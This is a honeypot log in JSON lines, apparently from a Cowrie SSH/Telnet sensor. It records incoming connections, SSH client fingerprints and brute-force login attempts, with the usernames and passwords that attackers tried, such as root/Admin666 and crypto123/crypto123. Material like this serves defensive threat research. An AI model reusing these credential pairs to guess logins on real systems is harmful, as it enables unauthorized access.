{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:43.734478Z","src_ip":"103.153.68.219","session":"46818d870e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dtheyxbr","message":"login attempt [root/dtheyxbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:44.496382Z","src_ip":"103.153.68.219","session":"46818d870e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:45.751025Z","src_ip":"103.153.68.219","session":"46818d870e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:47.802134Z","src_ip":"8.210.75.243","session":"e05d7436b7c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.58591103553772,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:53.990180Z","src_ip":"170.64.224.25","session":"3c93896302c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00257182121277,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:55.220674Z","src_ip":"128.199.209.169","session":"64d64d895583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41138,"dst_ip":"10.17.0.5","dst_port":22,"session":"9de89b9853ef","protocol":"ssh","message":"New connection: 8.210.75.243:41138 (10.17.0.5:22) [session: 9de89b9853ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:09.515538Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56970,"dst_ip":"159.203.135.109","dst_port":23,"session":"9877997d7fd8","protocol":"telnet","message":"New connection: 170.64.224.25:56970 (159.203.135.109:23) [session: 9877997d7fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:10.788360Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":59102,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ea91436506","protocol":"ssh","message":"New connection: 123.58.213.128:59102 (10.17.0.5:22) [session: 87ea91436506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:18.575447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:18.578738Z","src_ip":"123.58.213.128","session":"87ea91436506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:18.800498Z","src_ip":"123.58.213.128","session":"87ea91436506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fai","message":"login attempt [root/fai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:19.720345Z","src_ip":"123.58.213.128","session":"87ea91436506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:20.948592Z","src_ip":"123.58.213.128","session":"87ea91436506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51626,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d7b25321c48","protocol":"telnet","message":"New connection: 170.64.224.25:51626 (159.203.135.109:23) [session: 5d7b25321c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:24.530348Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":55870,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7b700e6d34d","protocol":"ssh","message":"New connection: 81.192.46.32:55870 (10.17.0.5:22) [session: a7b700e6d34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:27.726252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:27.730567Z","src_ip":"81.192.46.32","session":"a7b700e6d34d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:27.850736Z","src_ip":"81.192.46.32","session":"a7b700e6d34d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root=1234","message":"login attempt [root/Root=1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:28.360195Z","src_ip":"81.192.46.32","session":"a7b700e6d34d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":41666,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbb6578748fc","protocol":"ssh","message":"New connection: 152.67.46.203:41666 (10.17.0.5:22) [session: fbb6578748fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:28.545029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:28.549444Z","src_ip":"152.67.46.203","session":"fbb6578748fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:28.662117Z","src_ip":"152.67.46.203","session":"fbb6578748fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678a","message":"login attempt [ubuntu/12345678a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:29.147634Z","src_ip":"152.67.46.203","session":"fbb6578748fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:29.482260Z","src_ip":"81.192.46.32","session":"a7b700e6d34d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:30.263985Z","src_ip":"152.67.46.203","session":"fbb6578748fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.124.42.183","src_port":54620,"dst_ip":"10.17.0.5","dst_port":22,"session":"3149d4142658","protocol":"ssh","message":"New connection: 125.124.42.183:54620 (10.17.0.5:22) [session: 3149d4142658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:32.741868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:32.745580Z","src_ip":"125.124.42.183","session":"3149d4142658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:32.968946Z","src_ip":"125.124.42.183","session":"3149d4142658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin666","message":"login attempt [root/Admin666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:33.897093Z","src_ip":"125.124.42.183","session":"3149d4142658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:35.646412Z","src_ip":"125.124.42.183","session":"3149d4142658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53246,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4e4f6ada89e","protocol":"ssh","message":"New connection: 8.210.75.243:53246 (10.17.0.5:22) [session: f4e4f6ada89e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:39.105139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:39.108761Z","src_ip":"8.210.75.243","session":"f4e4f6ada89e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":33498,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6a09bf36825","protocol":"ssh","message":"New connection: 2.57.122.209:33498 (10.17.0.5:22) [session: d6a09bf36825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:41.716667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:42.475986Z","src_ip":"2.57.122.209","session":"d6a09bf36825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:42.479116Z","src_ip":"2.57.122.209","session":"d6a09bf36825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21","message":"login attempt [root/21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:45.523225Z","src_ip":"2.57.122.209","session":"d6a09bf36825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:47.228033Z","src_ip":"2.57.122.209","session":"d6a09bf36825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":53338,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cd8c0de03c3","protocol":"ssh","message":"New connection: 173.236.247.120:53338 (159.203.135.109:22) [session: 4cd8c0de03c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:48.088708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:48.091154Z","src_ip":"173.236.247.120","session":"4cd8c0de03c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:48.100348Z","src_ip":"173.236.247.120","session":"4cd8c0de03c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crypto123","password":"crypto123","message":"login attempt [crypto123/crypto123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:48.128249Z","src_ip":"173.236.247.120","session":"4cd8c0de03c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:49.139787Z","src_ip":"173.236.247.120","session":"4cd8c0de03c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":58520,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d1a8e643021","protocol":"ssh","message":"New connection: 162.241.132.172:58520 (10.17.0.5:22) [session: 7d1a8e643021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:51.128725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:51.132660Z","src_ip":"162.241.132.172","session":"7d1a8e643021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:51.160383Z","src_ip":"162.241.132.172","session":"7d1a8e643021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kualalumpur_crypto","password":"kualalumpur123","message":"login attempt [kualalumpur_crypto/kualalumpur123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:51.237706Z","src_ip":"162.241.132.172","session":"7d1a8e643021","protocol":"ssh"}
